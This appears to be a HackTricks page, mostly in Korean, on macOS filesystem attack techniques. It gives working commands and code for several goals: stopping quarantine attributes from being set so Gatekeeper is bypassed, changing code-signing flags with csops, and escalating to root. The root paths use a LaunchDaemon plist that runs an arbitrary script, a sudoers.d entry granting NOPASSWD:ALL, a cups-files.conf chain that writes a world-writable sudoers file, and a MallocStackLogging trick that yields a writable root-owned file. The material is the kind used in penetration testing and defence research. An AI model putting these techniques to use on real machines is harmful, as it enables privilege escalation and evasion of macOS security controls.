macOS FS Tricks

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

POSIX ๊ถŒํ•œ ์กฐํ•ฉ

๋””๋ ‰ํ† ๋ฆฌ์˜ ๊ถŒํ•œ:

  • ์ฝ๊ธฐ - ๋””๋ ‰ํ† ๋ฆฌ ํ•ญ๋ชฉ์„ ์—ด๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์“ฐ๊ธฐ - ๋””๋ ‰ํ† ๋ฆฌ ๋‚ด์˜ ํŒŒ์ผ์„ ์‚ญ์ œ/์ž‘์„ฑํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋นˆ ํด๋”๋ฅผ ์‚ญ์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๊ทธ๋Ÿฌ๋‚˜ ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์—†์œผ๋ฉด ๋น„์–ด ์žˆ์ง€ ์•Š์€ ํด๋”๋ฅผ ์‚ญ์ œ/์ˆ˜์ •ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.
  • ํด๋”์˜ ์ด๋ฆ„์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค, ์†Œ์œ ํ•˜์ง€ ์•Š๋Š” ํ•œ.
  • ์‹คํ–‰ - ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ํƒ์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค - ์ด ๊ถŒํ•œ์ด ์—†์œผ๋ฉด ๋‚ด๋ถ€์˜ ํŒŒ์ผ์ด๋‚˜ ํ•˜์œ„ ๋””๋ ‰ํ† ๋ฆฌ์— ์ ‘๊ทผํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

์œ„ํ—˜ํ•œ ์กฐํ•ฉ

๋ฃจํŠธ๊ฐ€ ์†Œ์œ ํ•œ ํŒŒ์ผ/ํด๋”๋ฅผ ๋ฎ์–ด์“ฐ๋Š” ๋ฐฉ๋ฒ•, ๊ทธ๋Ÿฌ๋‚˜:

  • ๊ฒฝ๋กœ์˜ ํ•œ ๋ถ€๋ชจ ๋””๋ ‰ํ† ๋ฆฌ ์†Œ์œ ์ž๊ฐ€ ์‚ฌ์šฉ์ž์ž…๋‹ˆ๋‹ค.
  • ๊ฒฝ๋กœ์˜ ํ•œ ๋ถ€๋ชจ ๋””๋ ‰ํ† ๋ฆฌ ์†Œ์œ ์ž๊ฐ€ ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๋Š” ์‚ฌ์šฉ์ž ๊ทธ๋ฃน์ž…๋‹ˆ๋‹ค.
  • ์‚ฌ์šฉ์ž ๊ทธ๋ฃน์ด ํŒŒ์ผ์— ์“ฐ๊ธฐ ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

์ด์ „ ์กฐํ•ฉ ์ค‘ ํ•˜๋‚˜๋กœ ๊ณต๊ฒฉ์ž๋Š” ํŠน๊ถŒ ์ž„์˜ ์“ฐ๊ธฐ๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด ์˜ˆ์ƒ ๊ฒฝ๋กœ์— ์‹ฌ๋ณผ๋ฆญ/ํ•˜๋“œ ๋งํฌ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํด๋” ๋ฃจํŠธ R+X ํŠน๋ณ„ ์‚ฌ๋ก€

์˜ค์ง ๋ฃจํŠธ๋งŒ R+X ์ ‘๊ทผ ๊ถŒํ•œ์„ ๊ฐ€์ง„ ๋””๋ ‰ํ† ๋ฆฌ์— ํŒŒ์ผ์ด ์žˆ๋Š” ๊ฒฝ์šฐ, ๊ทธ ํŒŒ์ผ์€ ๋‹ค๋ฅธ ๋ˆ„๊ตฌ๋„ ์ ‘๊ทผํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ œํ•œ์œผ๋กœ ์ธํ•ด ์‚ฌ์šฉ์ž๊ฐ€ ์ฝ์„ ์ˆ˜ ์—†๋Š” ์ฝ๊ธฐ ๊ฐ€๋Šฅํ•œ ํŒŒ์ผ์„ ์ด ํด๋”์—์„œ ๋‹ค๋ฅธ ํด๋”๋กœ ์ด๋™ํ•  ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์ ์ด ์•…์šฉ๋˜์–ด ์ด๋Ÿฌํ•œ ํŒŒ์ผ์„ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ์‹œ: https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions

์‹ฌ๋ณผ๋ฆญ ๋งํฌ / ํ•˜๋“œ ๋งํฌ

ํ—ˆ์šฉ๋œ ํŒŒ์ผ/ํด๋”

ํŠน๊ถŒ ํ”„๋กœ์„ธ์Šค๊ฐ€ ํ•˜์œ„ ํŠน๊ถŒ ์‚ฌ์šฉ์ž์— ์˜ํ•ด ์ œ์–ด๋  ์ˆ˜ ์žˆ๋Š” ํŒŒ์ผ์— ๋ฐ์ดํ„ฐ๋ฅผ ์“ฐ๊ณ  ์žˆ๊ฑฐ๋‚˜, ํ•˜์œ„ ํŠน๊ถŒ ์‚ฌ์šฉ์ž์— ์˜ํ•ด ์ด์ „์— ์ƒ์„ฑ๋œ ๊ฒฝ์šฐ, ์‚ฌ์šฉ์ž๋Š” ์‹ฌ๋ณผ๋ฆญ ๋˜๋Š” ํ•˜๋“œ ๋งํฌ๋ฅผ ํ†ตํ•ด ๋‹ค๋ฅธ ํŒŒ์ผ์„ ๊ฐ€๋ฆฌํ‚ฌ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํŠน๊ถŒ ํ”„๋กœ์„ธ์Šค๋Š” ํ•ด๋‹น ํŒŒ์ผ์— ์“ธ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž๊ฐ€ ์ž„์˜ ์“ฐ๊ธฐ๋ฅผ ์•…์šฉํ•˜์—ฌ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ๋Š” ๋‹ค๋ฅธ ์„น์…˜์„ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค.

Open O_NOFOLLOW

open ํ•จ์ˆ˜์—์„œ ์‚ฌ์šฉ๋˜๋Š” ํ”Œ๋ž˜๊ทธ O_NOFOLLOW๋Š” ๋งˆ์ง€๋ง‰ ๊ฒฝ๋กœ ๊ตฌ์„ฑ ์š”์†Œ์—์„œ ์‹ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ๋”ฐ๋ฅด์ง€ ์•Š์ง€๋งŒ, ๋‚˜๋จธ์ง€ ๊ฒฝ๋กœ๋Š” ๋”ฐ๋ฆ…๋‹ˆ๋‹ค. ๊ฒฝ๋กœ์—์„œ ์‹ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ๋”ฐ๋ฅด์ง€ ์•Š๋„๋ก ํ•˜๋Š” ์˜ฌ๋ฐ”๋ฅธ ๋ฐฉ๋ฒ•์€ ํ”Œ๋ž˜๊ทธ O_NOFOLLOW_ANY๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

.fileloc

.fileloc ํ™•์žฅ์ž๋ฅผ ๊ฐ€์ง„ ํŒŒ์ผ์€ ๋‹ค๋ฅธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด๋‚˜ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๊ฐ€๋ฆฌํ‚ฌ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ์—ด๋ฆด ๋•Œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜/๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.
์˜ˆ์‹œ:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>URL</key>
<string>file:///System/Applications/Calculator.app</string>
<key>URLPrefix</key>
<integer>0</integer>
</dict>
</plist>

ํŒŒ์ผ ์„ค๋ช…์ž

FD ๋ˆ„์ˆ˜ (no O_CLOEXEC)

open ํ˜ธ์ถœ์— O_CLOEXEC ํ”Œ๋ž˜๊ทธ๊ฐ€ ์—†์œผ๋ฉด ํŒŒ์ผ ์„ค๋ช…์ž๊ฐ€ ์ž์‹ ํ”„๋กœ์„ธ์Šค์— ์˜ํ•ด ์ƒ์†๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ, ํŠน๊ถŒ ํ”„๋กœ์„ธ์Šค๊ฐ€ ํŠน๊ถŒ ํŒŒ์ผ์„ ์—ด๊ณ  ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ํ”„๋กœ์„ธ์Šค๋ฅผ ์‹คํ–‰ํ•˜๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ํŠน๊ถŒ ํŒŒ์ผ์— ๋Œ€ํ•œ FD๋ฅผ ์ƒ์†๋ฐ›๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

๋†’์€ ๊ถŒํ•œ์œผ๋กœ ํŒŒ์ผ์ด๋‚˜ ํด๋”๋ฅผ ์—ด๋„๋ก ํ”„๋กœ์„ธ์Šค๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค๋ฉด, **crontab**๋ฅผ ์•…์šฉํ•˜์—ฌ **EDITOR=exploit.py**๋กœ /etc/sudoers.d์— ์žˆ๋Š” ํŒŒ์ผ์„ ์—ด ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด exploit.py๋Š” /etc/sudoers ๋‚ด์˜ ํŒŒ์ผ์— ๋Œ€ํ•œ FD๋ฅผ ์–ป๊ณ  ์ด๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด: https://youtu.be/f1HA5QhLQ7Y?t=21098, ์ฝ”๋“œ: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging

๊ฒฉ๋ฆฌ xattrs ํŠธ๋ฆญ ํ”ผํ•˜๊ธฐ

์ œ๊ฑฐํ•˜๊ธฐ

xattr -d com.apple.quarantine /path/to/file_or_app

uchg / uchange / uimmutable ํ”Œ๋ž˜๊ทธ

ํŒŒ์ผ/ํด๋”์— ์ด ๋ถˆ๋ณ€ ์†์„ฑ์ด ์„ค์ •๋˜์–ด ์žˆ์œผ๋ฉด xattr๋ฅผ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'

ls -lO /tmp/asd
# check the "uchg" in the output

defvfs mount

A devfs mount ๋Š” xattr๋ฅผ ์ง€์›ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค, ์ž์„ธํ•œ ๋‚ด์šฉ์€ CVE-2023-32364์—์„œ ํ™•์ธํ•˜์„ธ์š”.

mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'

writeextattr ACL

์ด ACL์€ ํŒŒ์ผ์— xattrs๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค.

rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr

cd /tmp
echo y | rm test

# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test

# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test

com.apple.acl.text xattr + AppleDouble

AppleDouble ํŒŒ์ผ ํ˜•์‹์€ ACE๋ฅผ ํฌํ•จํ•˜์—ฌ ํŒŒ์ผ์„ ๋ณต์‚ฌํ•ฉ๋‹ˆ๋‹ค.

์†Œ์Šค ์ฝ”๋“œ์—์„œ **com.apple.acl.text**๋ผ๋Š” xattr์— ์ €์žฅ๋œ ACL ํ…์ŠคํŠธ ํ‘œํ˜„์ด ์••์ถ• ํ•ด์ œ๋œ ํŒŒ์ผ์˜ ACL๋กœ ์„ค์ •๋  ๊ฒƒ์ž„์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ, ACL์ด ๋‹ค๋ฅธ xattrs๊ฐ€ ์ž‘์„ฑ๋˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ AppleDouble ํŒŒ์ผ ํ˜•์‹์˜ zip ํŒŒ์ผ๋กœ ์••์ถ•ํ–ˆ๋‹ค๋ฉดโ€ฆ ๊ฒฉ๋ฆฌ xattr๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์„ค์ •๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค:

์ž์„ธํ•œ ์ •๋ณด๋Š” ์›๋ณธ ๋ณด๊ณ ์„œ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

์ด๋ฅผ ๋ณต์ œํ•˜๊ธฐ ์œ„ํ•ด ๋จผ์ € ์˜ฌ๋ฐ”๋ฅธ acl ๋ฌธ์ž์—ด์„ ๊ฐ€์ ธ์™€์•ผ ํ•ฉ๋‹ˆ๋‹ค:

# Everything will be happening here
mkdir /tmp/temp_xattrs
cd /tmp/temp_xattrs

# Create a folder and a file with the acls and xattr
mkdir del
mkdir del/test_fold
echo test > del/test_fold/test_file
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
ditto -c -k del test.zip

# uncomporess to get it back
ditto -x -k --rsrc test.zip .
ls -le test

(Note that even if this works the sandbox write the quarantine xattr before)

Not really needed but I leave it there just in case:

macOS xattr-acls extra stuff

์„œ๋ช… ๊ฒ€์‚ฌ ์šฐํšŒ

ํ”Œ๋žซํผ ๋ฐ”์ด๋„ˆ๋ฆฌ ๊ฒ€์‚ฌ ์šฐํšŒ

์ผ๋ถ€ ๋ณด์•ˆ ๊ฒ€์‚ฌ๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ํ”Œ๋žซํผ ๋ฐ”์ด๋„ˆ๋ฆฌ์ธ์ง€ ํ™•์ธํ•˜์—ฌ XPC ์„œ๋น„์Šค์— ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/์—์„œ ๋…ธ์ถœ๋œ ๊ฒƒ์ฒ˜๋Ÿผ, /bin/ls์™€ ๊ฐ™์€ ํ”Œ๋žซํผ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๊ฐ€์ ธ์˜ค๊ณ  DYLD_INSERT_LIBRARIES ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ dyld๋ฅผ ํ†ตํ•ด ์ต์Šคํ”Œ๋กœ์ž‡์„ ์ฃผ์ž…ํ•จ์œผ๋กœ์จ ์ด ๊ฒ€์‚ฌ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ”Œ๋ž˜๊ทธ CS_REQUIRE_LV ๋ฐ CS_FORCED_LV ์šฐํšŒ

์‹คํ–‰ ์ค‘์ธ ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์ž์‹ ์˜ ํ”Œ๋ž˜๊ทธ๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฝ”๋“œ๋กœ ๊ฒ€์‚ฌ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
int pid = getpid();
NSString *exePath = NSProcessInfo.processInfo.arguments[0];

uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
status |= 0x2000; // CS_REQUIRE_LV
csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS

status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);

์ฝ”๋“œ ์„œ๋ช… ์šฐํšŒ

๋ฒˆ๋“ค์—๋Š” _CodeSignature/CodeResources ํŒŒ์ผ์ด ํฌํ•จ๋˜์–ด ์žˆ์œผ๋ฉฐ, ์ด ํŒŒ์ผ์—๋Š” ๋ฒˆ๋“ค ๋‚ด์˜ ๋ชจ๋“  ํŒŒ์ผ์˜ ํ•ด์‹œ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. CodeResources์˜ ํ•ด์‹œ๋Š” ์‹คํ–‰ ํŒŒ์ผ์—๋„ ๋‚ด์žฅ๋˜์–ด ์žˆ์œผ๋ฏ€๋กœ, ๊ทธ๊ฒƒ์„ ๊ฑด๋“œ๋ฆด ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ ์„œ๋ช…์ด ํ™•์ธ๋˜์ง€ ์•Š๋Š” ์ผ๋ถ€ ํŒŒ์ผ์ด ์žˆ์œผ๋ฉฐ, ์ด ํŒŒ์ผ๋“ค์€ plist์—์„œ omit ํ‚ค๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

<dict>
...
<key>rules</key>
<dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
<key>rules2</key>
...
<key>^(.*/index.html)?\.DS_Store$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>2000</real>
</dict>
...
<key>^PkgInfo$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>20</real>
</dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>

CLI์—์„œ ๋ฆฌ์†Œ์Šค์˜ ์„œ๋ช…์„ ๊ณ„์‚ฐํ•˜๋Š” ๊ฒƒ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค:

openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64

Mount dmgs

์‚ฌ์šฉ์ž๋Š” ๊ธฐ์กด ํด๋” ์œ„์— ์ƒ์„ฑ๋œ ์‚ฌ์šฉ์ž ์ •์˜ dmg๋ฅผ ๋งˆ์šดํŠธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ์‚ฌ์šฉ์ž ์ •์˜ ์ฝ˜ํ…์ธ ๋กœ ์‚ฌ์šฉ์ž ์ •์˜ dmg ํŒจํ‚ค์ง€๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
mkdir /private/tmp/mnt

# Mount it
hdiutil attach -mountpoint /private/tmp/mnt /private/tmp/tmp.dmg 1>/dev/null

# Add custom content to the volume
mkdir /private/tmp/mnt/custom_folder
echo "hello" > /private/tmp/mnt/custom_folder/custom_file

# Detach it
hdiutil detach /private/tmp/mnt 1>/dev/null

# Next time you mount it, it will have the custom content you wrote

# You can also create a dmg from an app using:
hdiutil create -srcfolder justsome.app justsome.dmg

๋ณดํ†ต macOS๋Š” /usr/libexec/diskarbitrationd์—์„œ ์ œ๊ณตํ•˜๋Š” com.apple.DiskArbitrarion.diskarbitrariond Mach ์„œ๋น„์Šค์™€ ํ†ต์‹ ํ•˜์—ฌ ๋””์Šคํฌ๋ฅผ ๋งˆ์šดํŠธํ•ฉ๋‹ˆ๋‹ค. LaunchDaemons plist ํŒŒ์ผ์— -d ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ถ”๊ฐ€ํ•˜๊ณ  ์žฌ์‹œ์ž‘ํ•˜๋ฉด /var/log/diskarbitrationd.log์— ๋กœ๊ทธ๋ฅผ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค.
๊ทธ๋Ÿฌ๋‚˜ hdik ๋ฐ hdiutil๊ณผ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ com.apple.driver.DiskImages kext์™€ ์ง์ ‘ ํ†ต์‹ ํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

์ž„์˜ ์“ฐ๊ธฐ

์ฃผ๊ธฐ์ ์ธ sh ์Šคํฌ๋ฆฝํŠธ

์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์…ธ ์Šคํฌ๋ฆฝํŠธ๋กœ ํ•ด์„๋  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๋งค์ผ ํŠธ๋ฆฌ๊ฑฐ๋˜๋Š” /etc/periodic/daily/999.local ์…ธ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ด ์Šคํฌ๋ฆฝํŠธ์˜ ์‹คํ–‰์„ ๊ฐ€์งœ๋กœ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: sudo periodic daily

๋ฐ๋ชฌ

์ž„์˜์˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๋Š” plist์™€ ํ•จ๊ป˜ **/Library/LaunchDaemons/xyz.hacktricks.privesc.plist**์™€ ๊ฐ™์€ ์ž„์˜์˜ LaunchDaemon์„ ์ž‘์„ฑํ•ฉ๋‹ˆ๋‹ค:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.sample.Load</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Scripts/privesc.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

Just generate the script /Applications/Scripts/privesc.sh with the commands you would like to run as root.

Sudoers File

If you have arbitrary write, you could create a file inside the folder /etc/sudoers.d/ granting yourself sudo privileges.

PATH files

The file /etc/paths is one of the main places that populates the PATH env variable. You must be root to overwrite it, but if a script from privileged process is executing some command without the full path, you might be able to hijack it modifying this file.

You can also write files in /etc/paths.d to load new folders into the PATH env variable.

cups-files.conf

์ด ๊ธฐ์ˆ ์€ ์ด ๊ธ€์—์„œ ์‚ฌ์šฉ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

Create the file /etc/cups/cups-files.conf with the following content:

ErrorLog /etc/sudoers.d/lpe
LogFilePerm 777
<some junk>

์ด๊ฒƒ์€ /etc/sudoers.d/lpe ํŒŒ์ผ์„ 777 ๊ถŒํ•œ์œผ๋กœ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ๋์— ์žˆ๋Š” ์ถ”๊ฐ€ ์“ฐ๋ ˆ๊ธฐ๋Š” ์˜ค๋ฅ˜ ๋กœ๊ทธ ์ƒ์„ฑ์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๊ธฐ ์œ„ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๊ทธ๋Ÿฐ ๋‹ค์Œ, /etc/sudoers.d/lpe์— %staff ALL=(ALL) NOPASSWD:ALL๊ณผ ๊ฐ™์€ ๊ถŒํ•œ ์ƒ์Šน์— ํ•„์š”ํ•œ ๊ตฌ์„ฑ์„ ์ž‘์„ฑํ•ฉ๋‹ˆ๋‹ค.

๊ทธ๋Ÿฐ ๋‹ค์Œ, /etc/cups/cups-files.conf ํŒŒ์ผ์„ ๋‹ค์‹œ ์ˆ˜์ •ํ•˜์—ฌ LogFilePerm 700์„ ์ง€์ •ํ•˜์—ฌ ์ƒˆ๋กœ์šด sudoers ํŒŒ์ผ์ด cupsctl์„ ํ˜ธ์ถœํ•  ๋•Œ ์œ ํšจํ•˜๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค.

์ƒŒ๋“œ๋ฐ•์Šค ํƒˆ์ถœ

FS ์ž„์˜ ์“ฐ๊ธฐ๋ฅผ ํ†ตํ•ด macOS ์ƒŒ๋“œ๋ฐ•์Šค๋ฅผ ํƒˆ์ถœํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ๋ช‡ ๊ฐ€์ง€ ์˜ˆ์‹œ๋Š” macOS Auto Start ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜์„ธ์š”. ๊ทธ๋Ÿฌ๋‚˜ ์ผ๋ฐ˜์ ์ธ ๋ฐฉ๋ฒ•์€ ~/Library/Preferences/com.apple.Terminal.plist์— ํ„ฐ๋ฏธ๋„ ํ™˜๊ฒฝ์„ค์ • ํŒŒ์ผ์„ ์ž‘์„ฑํ•˜์—ฌ ์‹œ์ž‘ ์‹œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๊ณ  open์„ ์‚ฌ์šฉํ•˜์—ฌ ํ˜ธ์ถœํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๋กœ์„œ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ํŒŒ์ผ ์ƒ์„ฑ

์ด๊ฒƒ์€ ๋‚ด๊ฐ€ ์“ธ ์ˆ˜ ์žˆ๋Š” ๋ฃจํŠธ ์†Œ์œ ์˜ ํŒŒ์ผ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค (์—ฌ๊ธฐ์„œ ์ฝ”๋“œ). ์ด๊ฒƒ์€ ๊ถŒํ•œ ์ƒ์Šน์œผ๋กœ๋„ ์ž‘๋™ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

DIRNAME=/usr/local/etc/periodic/daily

mkdir -p "$DIRNAME"
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"

MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername

FILENAME=$(ls "$DIRNAME")
echo $FILENAME

POSIX ๊ณต์œ  ๋ฉ”๋ชจ๋ฆฌ

